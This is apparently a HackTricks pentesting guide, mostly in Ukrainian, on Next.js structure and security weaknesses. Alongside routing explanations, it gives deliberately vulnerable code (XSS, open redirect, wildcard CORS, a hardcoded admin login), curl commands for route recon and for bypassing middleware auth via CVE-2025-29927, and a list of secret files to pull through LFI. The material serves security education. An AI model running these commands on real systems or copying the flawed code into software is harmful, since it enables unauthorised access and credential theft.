NextJS

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Загальна архітектура додатку Next.js

Типова структура файлів

Типовий проєкт Next.js дотримується певної структури файлів і каталогів, що полегшує реалізацію функцій, таких як маршрутизація, API endpoints та керування статичними ресурсами. Ось типовий макет:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Core Directories and Files

  • public/: Розміщує статичні ресурси, такі як зображення, шрифти та інші файли. Файли тут доступні за кореневим шляхом (/).
  • app/: Центральна директорія для сторінок, layouts, компонентів та API route’ів вашого додатку. Використовує парадигму App Router, що дозволяє розширені можливості маршрутизації та розділення серверних і клієнтських компонентів.
  • app/layout.tsx: Визначає кореневий layout для вашого додатку, обгортаючи всі сторінки та забезпечуючи узгоджені елементи UI, як-от header-и, footer-и та навігаційні панелі.
  • app/page.tsx: Служить точкою входу для кореневого маршруту /, рендерить домашню сторінку.
  • app/[route]/page.tsx: Обробляє статичні та динамічні маршрути. Кожна папка всередині app/ представляє сегмент маршруту, а page.tsx у цих папках відповідає за компонент маршруту.
  • app/api/: Містить API маршрути, що дозволяє створювати serverless functions для обробки HTTP-запитів. Ці маршрути замінюють традиційну директорію pages/api.
  • app/components/: Містить повторно використовувані React-компоненти, які можна використовувати на різних сторінках і layout’ах.
  • app/styles/: Містить глобальні CSS-файли та CSS Modules для стилізації, прив’язаної до компонентів.
  • app/utils/: Містить утиліти, допоміжні модулі та іншу не-UI логіку, яку можна використовувати в усьому додатку.
  • .env.local: Зберігає змінні середовища, специфічні для локального середовища розробки. Ці змінні не комітяться в систему контролю версій.
  • next.config.js: Налаштовує поведінку Next.js, включаючи конфігурації webpack, змінні середовища та параметри безпеки.
  • tsconfig.json: Налаштовує параметри TypeScript для проєкту, вмикаючи перевірку типів та інші можливості TypeScript.
  • package.json: Керує залежностями проєкту, скриптами та метаданими.
  • README.md: Містить документацію та інформацію про проєкт, включаючи інструкції зі встановлення, рекомендації щодо використання та інші релевантні деталі.
  • yarn.lock / package-lock.json: Фіксує версії залежностей проєкту, забезпечуючи консистентні інсталяції в різних оточеннях.

Client-Side in Next.js

File-Based Routing in the app Directory

The app directory is the cornerstone of routing in the latest Next.js versions. It leverages the filesystem to define routes, making route management intuitive and scalable.

Обробка кореневого шляху /

Структура файлів:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Ключові файли:

  • app/page.tsx: Обробляє запити до кореневого шляху /.
  • app/layout.tsx: Визначає макет застосунку, що обгортає всі сторінки.

Реалізація:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Пояснення:

  • Визначення маршруту: Файл page.tsx, розташований безпосередньо в директорії app, відповідає маршруту /.
  • Відображення: Цей компонент рендерить вміст головної сторінки.
  • Інтеграція макета: Компонент HomePage обгорнутий у layout.tsx, який може містити заголовки, підвали та інші спільні елементи.
Обробка інших статичних шляхів

Приклад: маршрут /about

Структура файлів:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Реалізація:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Пояснення:

  • Визначення маршруту: Файл page.tsx всередині папки about відповідає маршруту /about.
  • Відображення: Цей компонент відображає вміст сторінки /about.
Динамічні маршрути

Динамічні маршрути дозволяють обробляти шляхи зі змінними сегментами, що дає змогу застосункам відображати контент на основі параметрів, таких як ID, slugs тощо.

Приклад: /posts/[id] маршрут

Структура файлів:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Реалізація:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Пояснення:

  • Динамічний сегмент: [id] позначає динамічний сегмент у маршруті, який захоплює параметр id з URL.
  • Доступ до параметрів: Об’єкт params містить динамічні параметри, доступні в компоненті.
  • Відповідність маршруту: Будь-який шлях, що відповідає /posts/*, наприклад /posts/1, /posts/abc тощо, буде оброблено цим компонентом.
Вкладені маршрути

Next.js підтримує вкладену маршрутизацію, що дозволяє створювати ієрархічні структури маршрутів, які відображають структуру каталогів.

Приклад: маршрут /dashboard/settings/profile

Структура файлів:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Реалізація:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Пояснення:

  • Глибоке вкладення: Файл page.tsx всередині dashboard/settings/profile/ відповідає маршруту /dashboard/settings/profile.
  • Відображення ієрархії: Структура директорій відображає шлях URL, що полегшує підтримку та підвищує зрозумілість.
Маршрути catch-all

Маршрути catch-all обробляють кілька вкладених сегментів або невідомі шляхи, надаючи гнучкість у маршрутизації.

Приклад: /* маршрут

Структура файлів:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Реалізація:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Пояснення:

  • Catch-All сегмент: [...slug] захоплює всі залишкові сегменти шляху як масив.
  • Використання: Корисно для обробки сценаріїв динамічного роутингу, таких як шляхи, створені користувачами, вкладені категорії тощо.
  • Відповідність маршруту: Шляхи на кшталт /anything/here, /foo/bar/baz тощо обробляються цим компонентом.

Потенційні клієнтські вразливості

Хоча Next.js забезпечує безпечну основу, неправильні практики кодування можуть вводити вразливості. Ключові клієнтські вразливості включають:

Cross-Site Scripting (XSS)

Атаки XSS виникають, коли шкідливі скрипти вбудовуються у довірені вебсайти. Зловмисники можуть виконувати скрипти в браузерах користувачів, викрадаючи дані або виконуючи дії від імені користувача.

Приклад вразливого коду:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Чому це вразливо: Використання dangerouslySetInnerHTML з неперевіреними даними дозволяє атакуючим вставляти шкідливі скрипти.

Client-Side Template Injection

Виникає, коли введення користувачів неправильно обробляються в шаблонах, що дозволяє атакуючим вставляти та виконувати шаблони або вирази.

Приклад вразливого коду:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Чому це вразливо: Якщо template або data містять шкідливий вміст, це може призвести до виконання небажаного коду.

Client Path Traversal

Це вразливість, яка дозволяє зловмисникам маніпулювати клієнтськими шляхами для виконання небажаних дій, таких як Cross-Site Request Forgery (CSRF). На відміну від server-side path traversal, яка націлена на файлову систему сервера, CSPT зосереджується на експлуатації клієнтських механізмів для перенаправлення легітимних API-запитів на шкідливі endpoints.

Приклад вразливого коду:

Додаток Next.js дозволяє користувачам завантажувати файли на сервер і скачувати їх. Функція скачування реалізована на клієнтській стороні, де користувачі можуть вказувати шлях до файлу для скачування.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Сценарій атаки

  1. Мета атакуючого: Perform a CSRF attack to delete a critical file (e.g., admin/config.json) by manipulating the filePath.
  2. Експлуатація CSPT:
  • Шкідливий ввід: Зловмисник створює URL з маніпульованим filePath, наприклад ../deleteFile/config.json.
  • Результуючий API виклик: Код на клієнті робить запит до /api/files/../deleteFile/config.json.
  • Обробка сервером: Якщо сервер не перевіряє filePath, він обробляє запит, потенційно видаляючи або розкриваючи конфіденційні файли.
  1. Виконання CSRF:
  • Сформоване посилання: Зловмисник надсилає жертві посилання або вбудовує шкідливий скрипт, який ініціює запит на завантаження з маніпульованим filePath.
  • Наслідок: Жертва неусвідомлено виконує дію, що призводить до неавторизованого доступу до файлів або їх видалення.

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Використовуйте виявлені шляхи (наприклад /docs, /docs/content/examples, /signin) для проведення auth testing та виявлення endpoint-ів.

Серверна частина в Next.js

Рендеринг на стороні сервера (SSR)

Сторінки рендеряться на сервері при кожному запиті, що гарантує, що користувач отримує повністю відрендерений HTML. У цьому випадку вам слід створити власний сервер для обробки запитів.

Випадки використання:

  • Динамічний контент, який часто змінюється.
  • Оптимізація SEO, оскільки пошукові системи можуть індексувати повністю відрендерену сторінку.

Реалізація:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Генерація статичних сайтів (SSG)

Сторінки попередньо рендеряться під час збірки, що забезпечує швидше завантаження та зменшує навантаження на сервер.

Сценарії використання:

  • Контент, що рідко змінюється.
  • Блоги, документація, маркетингові сторінки.

Реалізація:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Безсерверні функції (API маршрути)

Next.js дозволяє створювати кінцеві точки API як безсерверні функції. Ці функції виконуються за потреби без необхідності виділеного сервера.

Випадки використання:

  • Обробка відправлення форм.
  • Взаємодія з базами даних.
  • Обробка даних або інтеграція з API сторонніх сервісів.

Реалізація:

З появою директорії app у Next.js 13 маршрутизація та обробка API стали гнучкішими та потужнішими. Цей сучасний підхід тісно узгоджується з файловою системою маршрутизації, але додає розширені можливості, включно з підтримкою серверних та клієнтських компонентів.

Базовий обробник маршруту

Структура файлів:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Реалізація:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Пояснення:

  • Location: Маршрути API розміщуються в каталозі app/api/.
  • File Naming: Кожна кінцева точка API знаходиться у власній папці, що містить файл route.js або route.ts.
  • Exported Functions: Замість одного default export експортуються конкретні функції для HTTP-методів (наприклад, GET, POST).
  • Response Handling: Використовуйте конструктор Response для повернення відповідей, що дозволяє краще контролювати заголовки та статус-коди.

Як обробляти інші шляхи та методи:

Обробка конкретних HTTP-методів

Next.js 13+ дозволяє визначати обробники для конкретних HTTP-методів у тому ж файлі route.js або route.ts, що робить код більш зрозумілим і структурованим.

Приклад:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Пояснення:

  • Кілька експортів: Кожен HTTP-метод (GET, PUT, DELETE) має свою власну експортовану функцію.
  • Параметри: Другий аргумент дає доступ до параметрів маршруту через params.
  • Покращені відповіді: Більший контроль над об’єктами відповіді, що дозволяє точно керувати заголовками та кодами стану.
Універсальні (catch-all) та вкладені маршрути

Next.js 13+ підтримує розширені можливості маршрутизації, такі як catch-all маршрути та вкладені API-маршрути, що дозволяє створювати більш динамічні та масштабовані структури API.

Приклад універсального (catch-all) маршруту:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Пояснення:

  • Синтаксис: [...] позначає catch-all сегмент, що захоплює всі вкладені шляхи.
  • Використання: Корисно для API, які повинні обробляти маршрути з різною глибиною або динамічні сегменти.

Приклад вкладених маршрутів:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Пояснення:

  • Глибоке вкладення: Дозволяє створювати ієрархічні структури API, що відображають взаємозв’язки ресурсів.
  • Доступ до параметрів: Легко отримувати доступ до кількох параметрів маршруту через об’єкт params.
Обробка API-маршрутів у Next.js 12 та раніших версіях

API маршрути в директорії pages (Next.js 12 і раніше)

До того як Next.js 13 представив директорію app та розширені можливості маршрутизації, API-маршрути в основному визначалися в директорії pages. Цей підхід досі широко використовується та підтримується у Next.js 12 і раніших версіях.

Базовий API-маршрут

Структура файлів:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Реалізація:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Пояснення:

  • Розташування: Маршрути API розташовані в директорії pages/api/.
  • Експорт: Використовуйте export default для визначення функції-обробника.
  • Підпис функції: Обробник отримує об’єкти req (HTTP-запит) і res (HTTP-відповідь).
  • Маршрутизація: Ім’я файлу (hello.js) відповідає кінцевій точці /api/hello.

Динамічні маршрути API

Структура файлу:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Реалізація:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Пояснення:

  • Динамічні сегменти: Квадратні дужки ([id].js) позначають динамічні сегменти маршруту.
  • Доступ до параметрів: Використовуйте req.query.id для доступу до динамічного параметра.
  • Обробка методів: Використовуйте умовну логіку для обробки різних HTTP-методів (GET, PUT, DELETE тощо).

Обробка різних HTTP-методів

Хоча базовий приклад API-роуту обробляє всі HTTP-методи в одній функції, ви можете структурувати код так, щоб явно обробляти кожен метод для кращої читабельності та підтримуваності.

Приклад:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Найкращі практики:

  • Розділення обов’язків: Чітко розділяйте логіку для різних HTTP-методів.
  • Послідовність відповідей: Забезпечуйте узгоджену структуру відповідей для полегшення обробки на стороні клієнта.
  • Обробка помилок: Коректно обробляйте непідтримувані методи та непередбачені помилки.

Налаштування CORS

Контролюйте, які origin можуть отримувати доступ до ваших API routes, зменшуючи вразливості Cross-Origin Resource Sharing (CORS).

Поганий приклад конфігурації:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Зауважте, що CORS can also be configured in all the API routes у файлі middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Проблема:

  • Access-Control-Allow-Origin: '*': Дозволяє будь-якому сайту отримувати доступ до API, потенційно дозволяючи шкідливим сайтам взаємодіяти з вашим API без обмежень.
  • Дозвіл на всі методи: Дозвіл усіх методів може дати змогу зловмисникам виконувати небажані дії.

Як зловмисники це експлуатують:

Зловмисники можуть створювати шкідливі вебсайти, які роблять запити до вашого API, потенційно зловживаючи функціоналом, наприклад отриманням даних, їх зміною або викликом небажаних дій від імені автентифікованих користувачів.

CORS - Misconfigurations & Bypass

Витік серверного коду на клієнтській стороні

Легко випадково використовувати код, що застосовується на сервері, також у коді, який потрапляє і виконується на клієнтській стороні, найкращий спосіб гарантувати, що файл коду ніколи не буде доступний на клієнті — використовувати цей import на початку файлу:

import "server-only"

Ключові файли та їхні ролі

middleware.ts / middleware.js

Location: Корінь проєкту або в межах src/.

Purpose: Виконує код у server-side serverless-функції перед обробкою запиту, дозволяючи виконувати завдання на кшталт authentication, redirects або модифікації відповідей.

Execution Flow:

  1. Incoming Request: middleware перехоплює запит.
  2. Processing: Виконує операції на основі запиту (наприклад, перевірка authentication).
  3. Response Modification: Може змінити відповідь або передати керування наступному обробнику.

Example Use Cases:

  • Перенаправлення неавторизованих користувачів.
  • Додавання кастомних заголовків.
  • Логування запитів.

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware обхід авторизації (CVE-2025-29927)

Якщо авторизація застосовується в middleware, вразливі релізи Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) можна обійти, інжектуючи заголовок x-middleware-subrequest. Фреймворк пропустить рекурсію middleware і поверне захищену сторінку.

  • Типова поведінка — зазвичай 307 перенаправлення на маршрут входу, наприклад /api/auth/signin.
  • Відправте довге значення x-middleware-subrequest (повторіть middleware, щоб досягти MAX_RECURSION_DEPTH), щоб змінити відповідь на 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Оскільки аутентифіковані сторінки підвантажують багато субресурсів, додайте цей заголовок до кожного запиту (наприклад, Burp Match/Replace з порожнім рядком співпадіння), щоб ресурси не перенаправлялися.

next.config.js

Location: Корінь проєкту.

Purpose: Налаштовує поведінку Next.js, вмикає або вимикає функції, налаштовує параметри webpack, задає змінні середовища та конфігурує кілька функцій безпеки.

Key Security Configurations:

Заголовки безпеки

Заголовки безпеки підвищують захищеність вашого застосунку, вказуючи браузерам, як обробляти контент. Вони допомагають пом’якшити різні атаки, такі як Cross-Site Scripting (XSS), Clickjacking і MIME type sniffing:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Приклади:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Налаштування оптимізації зображень

Next.js оптимізує зображення для підвищення продуктивності, але неправильні налаштування можуть призвести до вразливостей у безпеці, наприклад, дозволяючи ненадійним джерелам вставляти шкідливий вміст.

Поганий приклад конфігурації:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Проблема:

  • '*': Дозволяє завантажувати зображення з будь-якого зовнішнього джерела, включно з ненадійними або шкідливими доменами. Зловмисники можуть розміщувати зображення, що містять шкідливі payloads або контент, який вводить користувачів в оману.
  • Ще одна проблема — дозволити домен де будь-хто може завантажити зображення (наприклад raw.githubusercontent.com)

How attackers abuse it:

Інжектуючи зображення з шкідливих джерел, зловмисники можуть виконувати phishing attacks, відображати оманливу інформацію або exploit vulnerabilities in image rendering libraries.

Витік змінних середовища

Керуйте чутливою інформацією, такою як API keys і облікові дані баз даних, безпечно, не розкриваючи їх клієнту.

a. Розкриття чутливих змінних

Поганий приклад конфігурації:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

Проблема:

  • SECRET_API_KEY: Без префіксу NEXT_PUBLIC_ Next.js не робить змінні доступними на клієнті. Однак якщо помилково додати префікс (наприклад, NEXT_PUBLIC_SECRET_API_KEY), вони стануть доступними на стороні клієнта.

Як зловмисники зловживають цим:

Якщо чутливі змінні стають доступними на клієнті, зловмисники можуть отримати їх, переглянувши клієнтський код або мережеві запити, отримавши несанкціонований доступ до API, баз даних або інших сервісів.

Перенаправлення

Керуйте URL-перенаправленнями та перезаписами у вашому застосунку, забезпечуючи правильне перенаправлення користувачів без появи вразливостей open redirect.

a. Open Redirect Vulnerability

Поганий приклад конфігурації:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Problem:

  • Динамічний пункт призначення: Дозволяє користувачам вказувати будь-який URL, що дає змогу open redirect attacks.
  • Довіра до введених користувачем даних: Перенаправлення на URL, надані користувачами без валідації, може призвести до phishing, malware distribution або credential theft.

Як нападники зловживають цим:

Атакувальники можуть створювати URL, які виглядають так, ніби походять з вашого домену, але перенаправляють користувачів на зловмисні сайти. Наприклад:

https://yourdomain.com/redirect?url=https://malicious-site.com

Користувачі, які довіряють оригінальному домену, можуть випадково перейти на шкідливі вебсайти.

Конфігурація Webpack

Налаштування конфігурацій Webpack для вашого застосунку Next.js може ненавмисно призвести до появи вразливостей безпеки, якщо робити це необережно.

a. Розкриття чутливих модулів

Поганий приклад конфігурації:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Проблема:

  • Розкриття конфіденційних шляхів: Створення alias для чутливих директорій і дозвіл доступу з боку клієнта може leak конфіденційну інформацію.
  • Bundling Secrets: Якщо чутливі файли включені в бандл для клієнта, їх вміст стає доступним через source maps або при інспекції client-side code.

Як зловмисники це експлуатують:

Зловмисники можуть отримати доступ або відтворити структуру директорій застосунку, потенційно знайти та експлуатувати чутливі файли або дані.

pages/_app.js та pages/_document.js

pages/_app.js

Призначення: Перевизначає стандартний компонент App, дозволяючи використовувати глобальний стан, стилі та компоненти макету.

Випадки використання:

  • Підключення глобального CSS.
  • Додавання обгорток макету.
  • Інтеграція бібліотек управління станом.

Приклад:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Призначення: Перевизначає стандартний Document, дозволяючи налаштовувати теги <html> і <body>.

Випадки використання:

  • Зміна тегів <html> або <body>.
  • Додавання мета-тегів або власних скриптів.
  • Інтеграція шрифтів сторонніх розробників.

Приклад:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Користувацький сервер (необов’язково)

Призначення: Хоча Next.js постачається з вбудованим сервером, ви можете створити користувацький сервер для складніших випадків використання, наприклад для кастомної маршрутизації або інтеграції з існуючими бекенд-сервісами.

Примітка: Використання користувацького сервера може обмежити варіанти деплойменту, особливо на платформах на кшталт Vercel, які оптимізовані під вбудований сервер Next.js.

Приклад:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Додаткові архітектурні та безпекові зауваження

Змінні середовища та конфігурація

Мета: Керувати чутливою інформацією та налаштуваннями конфігурації поза кодовою базою.

Найкращі практики:

  • Використовуйте файли .env: Зберігайте змінні, такі як API keys, у .env.local (виключено з системи контролю версій).
  • Отримуйте доступ до змінних безпечно: Використовуйте process.env.VARIABLE_NAME для доступу до змінних середовища.
  • Ніколи не розкривайте секрети на клієнті: Переконайтеся, що чутливі змінні використовуються лише на стороні сервера.

Приклад:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Примітка: Щоб обмежити змінні лише серверною стороною, не додавайте їх до об’єкта env; якщо ж потрібно, щоб змінні були доступні на клієнті, додавайте префікс NEXT_PUBLIC_.

Корисні серверні артефакти, на які варто націлитися через LFI/download endpoints

Якщо ви знайдете path traversal або download API у Next.js додатку, націлюйтеся на скомпільовані артефакти, які leak серверні секрети та логіку автентифікації:

  • .env / .env.local — для секретів сесій і облікових даних провайдерів.
  • .next/routes-manifest.json та .next/build-manifest.json — для повного списку маршрутів.
  • .next/server/pages/api/auth/[...nextauth].js — для відновлення скомпільованої конфігурації NextAuth (часто містить запасні паролі, коли значення в process.env не встановлені).
  • next.config.js / next.config.mjs — щоб переглянути переписування (rewrites), перенаправлення (redirects) та маршрутизацію middleware.

Аутентифікація та авторизація

Підхід:

  • Аутентифікація на основі сесій: Використовуйте cookies для керування сесіями користувачів.
  • Аутентифікація на основі токенів: Використовуйте JWTs для аутентифікації без збереження стану (stateless).
  • Сторонні провайдери: Інтегруйте OAuth-провайдерів (наприклад, Google, GitHub) за допомогою бібліотек типу next-auth.

Практики безпеки:

  • Захищені cookies: Встановлюйте атрибути HttpOnly, Secure та SameSite.
  • Хешування паролів: Завжди хешуйте паролі перед зберіганням.
  • Валідація вводу: Запобігайте ін’єкційним атакам, валідуючи та очищуючи введені дані.

Приклад:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Оптимізація продуктивності

Стратегії:

  • Оптимізація зображень: Використовуйте компонент Next.js next/image для автоматичної оптимізації зображень.
